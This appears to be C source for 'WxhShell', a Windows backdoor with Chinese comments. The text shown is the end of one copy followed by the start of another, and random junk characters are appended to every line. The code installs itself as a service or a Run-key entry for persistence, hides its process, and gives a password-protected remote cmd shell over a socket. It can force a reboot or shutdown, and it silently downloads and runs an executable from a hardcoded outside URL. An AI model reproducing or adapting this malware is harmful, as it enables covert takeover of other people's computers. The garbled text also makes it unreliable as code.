    else { Um^4[rl:#g  
    closesocket(wsh); 9;7Gzr6A"  
    ExitThread(0); O!!N@Q2g  
    } j*\oK@  
    break; j"hNkCF  
    } dBw7l}  
  // 关机 NX4G;+6  
  case 'd': { c=,HLHpFO(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Al1_\vx7  
    if(Boot(SHUTDOWN)) n:|a;/{I]9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {p.^E5&  
    else { &@K6;T  
    closesocket(wsh); b)eoFc)lc  
    ExitThread(0); !>\&*h-Cm#  
    } 5^D094J|^  
    break; "1$X5?%  
    } 'ZJb`  
  // 获取shell +T\<oj%}2  
  case 's': { ,wf:Fr  
    CmdShell(wsh); G2<$to~{  
    closesocket(wsh); vHZq z<  
    ExitThread(0); H#i,Ve '  
    break; C7O8B;  
  } S B~opN  
  // 退出 -Uan.#~S  
  case 'x': {  !2kM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %QG3~b% h  
    CloseIt(wsh); uK] -m  
    break; 5dGfO:Dy_  
    } 9wlp AK  
  // 离开 -T}r$A  
  case 'q': { 15@2h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r+8)<Xt+p  
    closesocket(wsh); yAAV,?:o[  
    WSACleanup(); denxcDFu/~  
    exit(1); {#st>%i  
    break; jzJQ/ZFS  
        } DKJ_g.]X  
  } b@c(Nv  
  } AyWdJ<OU  
E[WU  
  // 提示信息 #.rkvoB0N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kebk f,`p  
} W[I$([  
  } @0]w!q  
I{ Ip  
  return; \=D+7'3  
} (/At+MF3E  
^vxx]Hji  
// shell模块句柄 ,,H;2xYf  
int CmdShell(SOCKET sock) F!3p )?  
{ :pM)I5MN[  
STARTUPINFO si; WH4rZ }Z`  
ZeroMemory(&si,sizeof(si)); @ <3E `j'p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DXG`%<ZMn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X~UL$S;  
PROCESS_INFORMATION ProcessInfo; pV(k6h  
char cmdline[]="cmd"; ,ss"s3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c(uD kX  
  return 0; }W@refS  
} #8sy QWlG  
=@ acg0  
// 自身启动模式 -<g[P_#  
int StartFromService(void) e`co:HO`#  
{ e/cHH3 4  
typedef struct rrR"2WuGO  
{ <o9AjASv\,  
  DWORD ExitStatus; $@@ii+W}\  
  DWORD PebBaseAddress; :-O$rm  
  DWORD AffinityMask; 'j*Q   
  DWORD BasePriority; qH0JZdk  
  ULONG UniqueProcessId; %X's/;(Lx`  
  ULONG InheritedFromUniqueProcessId; sBYDo{0 1  
}   PROCESS_BASIC_INFORMATION; JN:L%If  
@D=B5f@(o  
PROCNTQSIP NtQueryInformationProcess; k>F!S`a&m  
2Y%7.YX"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Q <vS"g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *= O]^|]2  
9+MW13?  
  HANDLE             hProcess; =dH=3iCG  
  PROCESS_BASIC_INFORMATION pbi; SHs [te[  
V,=5}qozQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XlD=<$Nk7  
  if(NULL == hInst ) return 0; !yT=*Cj4  
qtdkK LT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )^BZ,e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f,i2U|1pbj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K\KQ(N8F  
y{&%]Fq <5  
  if (!NtQueryInformationProcess) return 0; k-a1^K3  
A9N8Hav  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oexTz[  
  if(!hProcess) return 0; YhNrg?nS  
P>u2""c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )5n0P Zi  
\9@}0}%`  
  CloseHandle(hProcess); }cI-]|)|2  
vs$h&o>|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qLN\>Z,3;  
if(hProcess==NULL) return 0; R<gAxO%8  
y9?*H?f,  
HMODULE hMod; Go1xyd:k  
char procName[255]; R<_VWPlj  
unsigned long cbNeeded; 2q]ZI  
c7{s'ifG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ovOV&Zt  
QVRQUd  
  CloseHandle(hProcess); #'O9Hn({  
:%33m'EV}  
if(strstr(procName,"services")) return 1; // 以服务启动 @GD $KR9  
?*$uj(  
  return 0; // 注册表启动 {ZSAPq4)L  
} bDIhI}P  
yUf`L=C:  
// 主模块 b$0;fEvIJn  
int StartWxhshell(LPSTR lpCmdLine) ?]bx]Y;  
{ ZbVn"he  
  SOCKET wsl; )X," NJG  
BOOL val=TRUE; "=K3sk  
  int port=0; V~#5^PF{  
  struct sockaddr_in door; I L7kpH+y  
Du +_dr^4  
  if(wscfg.ws_autoins) Install(); "=+i~N#Sc  
WF*j^ %5  
port=atoi(lpCmdLine); ?$ov9U_  
Dq%} ({+  
if(port<=0) port=wscfg.ws_port; @`+\v mfD  
%QrOEs  
  WSADATA data; ^!C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x^c,cV+*  
l%('5oz@\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KPDJ$,:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -O,:~a=*_  
  door.sin_family = AF_INET; #g@4c3um|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L4T\mP7D7*  
  door.sin_port = htons(port); KztQT9kY  
Sh5)36  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h5T~dGRlR  
closesocket(wsl); Yc?S<  
return 1; j~S=kYrGM  
} !-n* ]C  
: O@(Sv  
  if(listen(wsl,2) == INVALID_SOCKET) { 1c @S[y  
closesocket(wsl); h4itXJy52B  
return 1; 8 %?MRRK  
} 7)1%Z{Dy  
  Wxhshell(wsl); ]b>XN8y.  
  WSACleanup(); g18zo~LZ  
Nxl#]  
return 0; :-U& _%#w  
=bP<cC=3b  
} ,SIGfd  
|:4W5>sfg  
// 以NT服务方式启动 (pM& eow}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^fsC]9NS  
{ _g9j_ x:=  
DWORD   status = 0; ZU0*iA  
  DWORD   specificError = 0xfffffff; 4`9ROC  
As5l36  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OAFxf,b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6< -Cpc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u\iKdL  
  serviceStatus.dwWin32ExitCode     = 0; oxeIh9 E  
  serviceStatus.dwServiceSpecificExitCode = 0; gBWr)R  
  serviceStatus.dwCheckPoint       = 0; =Ez@kTvOs  
  serviceStatus.dwWaitHint       = 0; W5Jy"]^I  
3TeRZ=2:*x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R>~I8k9mM  
  if (hServiceStatusHandle==0) return; /*e<r6  
6{udNv X  
status = GetLastError(); 5+Tx01 )  
  if (status!=NO_ERROR) 8[t*VIXI  
{ hT_Q_1,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nO'C2)bBSG  
    serviceStatus.dwCheckPoint       = 0; *' es(]W  
    serviceStatus.dwWaitHint       = 0; q9VBK(,X  
    serviceStatus.dwWin32ExitCode     = status; :/6aBM?  
    serviceStatus.dwServiceSpecificExitCode = specificError; v8'XchJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W`oyDg,D  
    return; .waj.9&[l  
  } R}3th/qf  
K0o${%'@7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MK! @ND  
  serviceStatus.dwCheckPoint       = 0; ki2 `gLK  
  serviceStatus.dwWaitHint       = 0; .X(qs1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p/u  
} ek/zQM@%  
:5&UWL|  
// 处理NT服务事件,比如:启动、停止 \+/ciPzA-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) thX4-'i  
{ 90Sras>F  
switch(fdwControl) b{ A/M#=  
{ [e _csQ  
case SERVICE_CONTROL_STOP: Voq/0,d  
  serviceStatus.dwWin32ExitCode = 0; J(~1mIJjC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z[Qe86L  
  serviceStatus.dwCheckPoint   = 0; 65U\;Ew  
  serviceStatus.dwWaitHint     = 0; 0t"Iq71/  
  { m~W[,7NE0&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #u+qV!4  
  } Y=_*Ai  
  return; @q># ]8  
case SERVICE_CONTROL_PAUSE: xQzW6H|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lgK5E *^  
  break; %|:j=/_  
case SERVICE_CONTROL_CONTINUE: VK,{Mu=.9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {[/A?AV;F  
  break; ?dv-`)S&  
case SERVICE_CONTROL_INTERROGATE: ~ Al3Dv9x  
  break; .q:6F*,1M  
}; :yi} CM4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q3$DX, 8?  
} Hd7Vp:KM  
_akjgwu  
// 标准应用程序主函数 sKs`gi2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SS8$.ot  
{ ./.aLTh  
P|lDW|}D@  
// 获取操作系统版本 G;pmR^  
OsIsNt=GetOsVer(); IZ^:wIKo{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =oiz@Q@H  
(|<+yQ,@>  
  // 从命令行安装 cH:&S=>h  
  if(strpbrk(lpCmdLine,"iI")) Install(); kz("LI]  
'L9hM.+  
  // 下载执行文件 +eKLwM  
if(wscfg.ws_downexe) { +R;LHRS%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *:un+k  
  WinExec(wscfg.ws_filenam,SW_HIDE); *<[\|L:#]Z  
} UQYHR+  
Slv:CM M  
if(!OsIsNt) { `)KGajB  
// 如果时win9x,隐藏进程并且设置为注册表启动 ea`6J  
HideProc(); ,z`D}< 3  
StartWxhshell(lpCmdLine); <}c7E3Uc  
} vpdPW%B  
else XN?my@_HpM  
  if(StartFromService()) :P%?!'M  
  // 以服务方式启动 mMWhUr  
  StartServiceCtrlDispatcher(DispatchTable); 7Lj:m.0O^  
else n;vZY  
  // 普通方式启动 Bf+~&I#E  
  StartWxhshell(lpCmdLine); 6CGk*s  
3fZoF`<a  
return 0; S5Pn6'w  
} y@2"[fo3~  
g`.H)36  
~ oq.yn/1  
hB aG*J{  
=========================================== {-]K!tWda  
H, GnF  
>dw 0@T&p  
Vj8-[ww!  
R3piI&u  
;Oq>c=9%  
" eOXu^M>:F  
:=!6w  
#include <stdio.h> b KDD29  
#include <string.h> 'gD./|Z0  
#include <windows.h> []yIz1P=j  
#include <winsock2.h> 28+{  
#include <winsvc.h> 3i4m!g5Z?  
#include <urlmon.h> >f-RzQ k  
ER[$TH&  
#pragma comment (lib, "Ws2_32.lib") z^4+U n  
#pragma comment (lib, "urlmon.lib") 5 I#-h<SG  
Iue=\qUK^  
#define MAX_USER   100 // 最大客户端连接数 2,Z@<  
#define BUF_SOCK   200 // sock buffer K$:btWSm  
#define KEY_BUFF   255 // 输入 buffer >){}nlQf  
v6! `H  
#define REBOOT     0   // 重启 -!M>;M@  
#define SHUTDOWN   1   // 关机 Ik A~+6UY  
W>&*.3{v  
#define DEF_PORT   5000 // 监听端口 8NE[L#k  
H<g8u{ $  
#define REG_LEN     16   // 注册表键长度 =eDC{/K  
#define SVC_LEN     80   // NT服务名长度 u$ o 19n  
@(N} {om  
// 从dll定义API s9+lC!!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -y3[\zNe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2lN0Sf@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ws;|n h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I.~=\%Z {  
,qV7$u  
// wxhshell配置信息 loBW#>  
struct WSCFG { )u]=^  
  int ws_port;         // 监听端口 ]+w 27!  
  char ws_passstr[REG_LEN]; // 口令 jG}nOI  
  int ws_autoins;       // 安装标记, 1=yes 0=no f8f3[O!x  
  char ws_regname[REG_LEN]; // 注册表键名 yw7bIcs|#b  
  char ws_svcname[REG_LEN]; // 服务名 *g:Dg I 2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gb"kl.j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y=<zR9f`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #KHj.Vg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B !rb*"[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VtU2&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^AZv4H*~  
P-yVc2YH  
}; C+t|fSJ  
Z3u6m0!  
// default Wxhshell configuration sE{5&aCSR  
struct WSCFG wscfg={DEF_PORT, n3eWqwQ$5  
    "xuhuanlingzhe", E\9HZ;}G  
    1, 5UK}AkEe&x  
    "Wxhshell", N693eN!  
    "Wxhshell", J5Q.v;  
            "WxhShell Service", )S#?'gt*  
    "Wrsky Windows CmdShell Service", UxMei  
    "Please Input Your Password: ", XGYsTquSe  
  1,  ggfCfn  
  "http://www.wrsky.com/wxhshell.exe", 7[R`52pP  
  "Wxhshell.exe" ALInJ{X  
    }; |GPY bxzc  
K 4{[s z  
// 消息定义模块 z t!>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ia{t/IX\[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?a?4;Y!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S~|\bnE  
char *msg_ws_ext="\n\rExit."; ]]_c3LJ2`  
char *msg_ws_end="\n\rQuit."; dww4o~hO  
char *msg_ws_boot="\n\rReboot..."; 8LuU2Lo  
char *msg_ws_poff="\n\rShutdown..."; 2<AQ{ c  
char *msg_ws_down="\n\rSave to "; ew c:-2Y^  
W55kR.X6M  
char *msg_ws_err="\n\rErr!"; &a\G,Ma  
char *msg_ws_ok="\n\rOK!"; n#4T o;CS  
z$/s` |]  
char ExeFile[MAX_PATH]; /P/0\3TCi  
int nUser = 0; lX 50JJwk  
HANDLE handles[MAX_USER]; 6aWnj*dF  
int OsIsNt; `Uvc^  
cb. -AlqQ  
SERVICE_STATUS       serviceStatus; 1n.F`%YG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lm+s5}*%o  
)! k l:  
// 函数声明 sYk#XNH  
int Install(void); !9V; 8g  
int Uninstall(void); )hVn/*mH  
int DownloadFile(char *sURL, SOCKET wsh); o?#-Tkb  
int Boot(int flag); n%QWs 1 b  
void HideProc(void); &*Kk> 4  
int GetOsVer(void); Q } 0_}W  
int Wxhshell(SOCKET wsl); [8acan+ 2l  
void TalkWithClient(void *cs); 9sv#TT5V  
int CmdShell(SOCKET sock); 9El{>&Fs4  
int StartFromService(void); yU~w Zjw  
int StartWxhshell(LPSTR lpCmdLine); PbV1FB_  
4O{,oN~7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F"23v G>3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N~?#Qh|ZnU  
jPc,+?  
// 数据结构和表定义 z\WyL;  
SERVICE_TABLE_ENTRY DispatchTable[] = *d 4A3|  
{ PHH,vO[eO  
{wscfg.ws_svcname, NTServiceMain}, md/h\o&  
{NULL, NULL} 7$R^u7DZ  
}; 6mxzE3?G  
ClPE_Cfw~  
// 自我安装 tq*6]q8c>  
int Install(void) }Cb-7/  
{ @FRas00)|  
  char svExeFile[MAX_PATH]; ;j<#VS-]  
  HKEY key; q[. p(6:  
  strcpy(svExeFile,ExeFile);  -f<}lhmQ  
=C7<I   
// 如果是win9x系统,修改注册表设为自启动 "837b/>/  
if(!OsIsNt) { = ^%*:iT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h=kC3ot\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4`+R |"4  
  RegCloseKey(key); q1rD>n&d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %."w]fy>P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \@{TF((Y  
  RegCloseKey(key); WZviC_  
  return 0; $L'[_J  
    } F$YT4414  
  } O`9vEovjs  
} 1V,DcolRY  
else { sP>-k7K.  
v*OT[l7  
// 如果是NT以上系统,安装为系统服务 ))7CqN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rWN%j)#+  
if (schSCManager!=0) Vw&# Lo  
{ )3 '8T>^<K  
  SC_HANDLE schService = CreateService -O $!sFmY  
  ( *3fhVl=8^*  
  schSCManager, I 6L3M\+-  
  wscfg.ws_svcname, iBY16_q  
  wscfg.ws_svcdisp, j:HIcCp  
  SERVICE_ALL_ACCESS, m:9|5W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y7Hoy.(  
  SERVICE_AUTO_START, A^\g]rmK  
  SERVICE_ERROR_NORMAL, /%b nG(4  
  svExeFile, B~YOU 3  
  NULL, "=2'Oqp1  
  NULL, 9?sm-qP  
  NULL, Y/L*0 M.<  
  NULL, |Rm_8n%m  
  NULL }E&:  
  ); Q-yNw0V}F  
  if (schService!=0) jq_ i&~S  
  { 8RcLs1n/  
  CloseServiceHandle(schService); J(9{P/  
  CloseServiceHandle(schSCManager); g$JlpD&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dleCh+ny?  
  strcat(svExeFile,wscfg.ws_svcname); CFu^i|7o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $qR@;=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }>b@=5O  
  RegCloseKey(key); NE| Q0g  
  return 0; }V 4u`=  
    } 8\+DSA  
  } `~N jBtQ  
  CloseServiceHandle(schSCManager); G#1W":|`  
} l.BiE<&  
} Ieh<|O,-C  
UsdMCJ&G  
return 1; 5eM{>qr}  
} `yC[Fn"E^  
HNLr} Yj  
// 自我卸载 ~1nKL0C6u  
int Uninstall(void) MieO1l  
{ x-b}S1@  
  HKEY key; @yF >=5z:  
blkPsp)m"  
if(!OsIsNt) { m\MI 6/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3XDuo|(  
  RegDeleteValue(key,wscfg.ws_regname); 1aPFpo!  
  RegCloseKey(key); AN)r(86L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u>*qDr* d  
  RegDeleteValue(key,wscfg.ws_regname); ^AoX|R[1%  
  RegCloseKey(key); eZ 7Atuv  
  return 0; #9{2aRCJ  
  } jPn.w,=)27  
} N7_(,Gu*R  
} >1` '5A}s  
else { :G &:v  
k+hl6$:Qj%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VeOM `jy  
if (schSCManager!=0) wU"w  
{ /bLL!nD=^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BQB<+o'  
  if (schService!=0) ZWKvz3Wt  
  { #L&/o9|  
  if(DeleteService(schService)!=0) { A f}o/g  
  CloseServiceHandle(schService); |<uBJ-5  
  CloseServiceHandle(schSCManager); g@Rs.Zq  
  return 0; 7JBr{3;eS  
  } v<mSd2B*  
  CloseServiceHandle(schService); /L./-92NH4  
  } u~~ ~@p  
  CloseServiceHandle(schSCManager); Emw]`  
} d<w]>T5VW  
} gu&W:FY  
|\94a  
return 1; }]^/`n  
} ;jBS:k?  
 pQ7<\8s*  
// 从指定url下载文件 }nSu7)3$B  
int DownloadFile(char *sURL, SOCKET wsh) uG-S$n"7K  
{ s|X_:3\x  
  HRESULT hr; E%a&6W  
char seps[]= "/"; Z/ L%?zH  
char *token; K#VGG,h7Y  
char *file; MeAY\V%G=o  
char myURL[MAX_PATH]; nQ{~D5y,,  
char myFILE[MAX_PATH]; :SY,;..3e  
^)h&s*  
strcpy(myURL,sURL); +{#Z^y6&  
  token=strtok(myURL,seps); KEf1GU6s  
  while(token!=NULL) >:BgatyPH  
  { RMdU1@  
    file=token; j]aIJbi  
  token=strtok(NULL,seps); G3h"Eo?>g  
  } p(9[*0.};  
qggRS)a  
GetCurrentDirectory(MAX_PATH,myFILE); RLcC>Z  
strcat(myFILE, "\\"); ZvK.X*~s  
strcat(myFILE, file); N,:G5WxW  
  send(wsh,myFILE,strlen(myFILE),0); ~yA^6[a=  
send(wsh,"...",3,0); {aUv>T"c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); We'=/!  
  if(hr==S_OK) ?a'EkZ.dB  
return 0; SL +\{V2  
else ]Rxrt~ ZB  
return 1; </R@)_'  
r> .l^U9hJ  
} Qh* }v!3Jo  
YdUcO.V  
// 系统电源模块 Mky^X,r  
int Boot(int flag) - b`  
{ BgY|v [M&  
  HANDLE hToken; Dj6^|R$z&  
  TOKEN_PRIVILEGES tkp; 8?|W-rN  
n#B}p*G  
  if(OsIsNt) { w4zp%`?D'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L=P8;Gj)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dCLNZq h6  
    tkp.PrivilegeCount = 1; fJe5 i6`(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WcpH= "vm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C'jCIL  
if(flag==REBOOT) { C IRMAX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o@C|*TXN  
  return 0; +U?73cYN  
} Z Z c^~  
else { D&]xKx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xn)F(P 0kv  
  return 0; }iLi5Qkx  
} %=V" }P[  
  } fgHsg@33N  
  else { Cv p#=x0  
if(flag==REBOOT) { #Yy5@A}`o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3_T'0x\FP  
  return 0; x@:98P  
} 8cRc5X  
else { 9Vt6);cA-]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jwI1 I{x  
  return 0; -O?A"  
} <TS ps!(#  
} !>&G+R+k  
J%fJF//U  
return 1; a FWTm,)  
} g;:3I\ L  
G/w@2lYx  
// win9x进程隐藏模块 OT"jV  
void HideProc(void) B%o%%A8*g  
{ =PnNett}a  
!~ j9Oc^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {96NtR0Z  
  if ( hKernel != NULL ) Zjs,R{  
  { D7c+/H@PF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n*G!=lMji  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C[;7i!Dv  
    FreeLibrary(hKernel); {7v|\6@e3  
  } zB\ 8<97 C  
W>'gG}.  
return;  }"q#"s  
} D>`{f4Y  
f<R 3ND)  
// 获取操作系统版本 b>d]= u  
int GetOsVer(void) Dhk$e  
{ {3!A \OR  
  OSVERSIONINFO winfo; ;#*.@Or@Ah  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h645;sb0  
  GetVersionEx(&winfo); L$jii  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `];ne]xM  
  return 1; Ad -_=a%  
  else !L_xcov!Y  
  return 0; s"8z q ;)  
} )a+bH</'  
Qb;]4[3  
// 客户端句柄模块 "kucFf f  
int Wxhshell(SOCKET wsl) 'z+Pa^)v  
{ v~p?YYOm<  
  SOCKET wsh; F(,SnSam  
  struct sockaddr_in client; .li)k[] ts  
  DWORD myID; DvA#zX[  
m5hu;>gt  
  while(nUser<MAX_USER) EAF\ 7J*  
{ z,VXH ?.Zo  
  int nSize=sizeof(client); 77 ?TRC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q1H.2JXr  
  if(wsh==INVALID_SOCKET) return 1; % 5BSXAc  
C3 m_sv#e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gr3 q  
if(handles[nUser]==0) DG3Mcf@5  
  closesocket(wsh); ADMeOdgca  
else Q0Gfwl  
  nUser++; 2m72PU<.  
  } h5^We"}+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q"qJ0f)  
jank<Q&w  
  return 0; >(sS4_O7N  
} R!rMrWX  
B\`${O(  
// 关闭 socket cL"Ral-qB  
void CloseIt(SOCKET wsh) 5+)_d%v=6!  
{ O /h1ew  
closesocket(wsh); BpF}H^V-  
nUser--; m^^#3*qa  
ExitThread(0); ![Vrbe P  
} 2J` LZS  
2[KHmdgtB  
// 客户端请求句柄 UZgrSX {  
void TalkWithClient(void *cs) V{rQ@7SE  
{ kioIyV\=  
 yT(86#st  
  SOCKET wsh=(SOCKET)cs; hi Ws:Yq  
  char pwd[SVC_LEN]; HaOSFltf#  
  char cmd[KEY_BUFF]; Qk^}  
char chr[1]; ork{a.1-_w  
int i,j; 2$gFiZ  
t"6u  
  while (nUser < MAX_USER) { AP?m,nd6  
?W&ajH_T  
if(wscfg.ws_passstr) { e"2x!(&n(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u5,vchZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d-]!aFj|U  
  //ZeroMemory(pwd,KEY_BUFF); b_@bS<wsF}  
      i=0; F<,"{L  
  while(i<SVC_LEN) { t 9_&n.z  
CY)[{r  
  // 设置超时 EhN@;D+  
  fd_set FdRead; L_IvR 4:j~  
  struct timeval TimeOut; 3LVL5y7|  
  FD_ZERO(&FdRead); &2W`dEv]?  
  FD_SET(wsh,&FdRead); f{'N O`G  
  TimeOut.tv_sec=8; JJP!9<  
  TimeOut.tv_usec=0; y<y9'tx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _Aw-{HE'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j9= )^?  
1mx;b)4t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @9MrTP  
  pwd=chr[0]; EFs\zWF  
  if(chr[0]==0xd || chr[0]==0xa) { a & 6-QVk  
  pwd=0; I>>X-}  
  break; dp:5iuS  
  } {|Fn<&G  
  i++;  V#+J4   
    } f:9qId ;/M  
L!2Ef4,wAz  
  // 如果是非法用户,关闭 socket 0#F<JsO|u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "04:1J`  
} Aac7k m  
x2g=%K=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J {\]ZPs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *0 ;|  
kwFo*1 {  
while(1) { j,N,WtE  
I4zm{ 1g  
  ZeroMemory(cmd,KEY_BUFF); QFEc?sEe  
l{_1`rC'  
      // 自动支持客户端 telnet标准   &|Vzo@D(!  
  j=0; }z2K"eGt  
  while(j<KEY_BUFF) { E^m2:J]G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (DTkK5/%  
  cmd[j]=chr[0]; IPnx5#eB  
  if(chr[0]==0xa || chr[0]==0xd) { Ly6) ,[q~  
  cmd[j]=0; _Tma1 ~Gq  
  break; hQDl&A  
  } R"QWap}  
  j++; f<@`{oP@  
    } $`/F5R!  
mmEe@-lE  
  // 下载文件 ~G~:R  
  if(strstr(cmd,"http://")) { 0"`|f0}c  
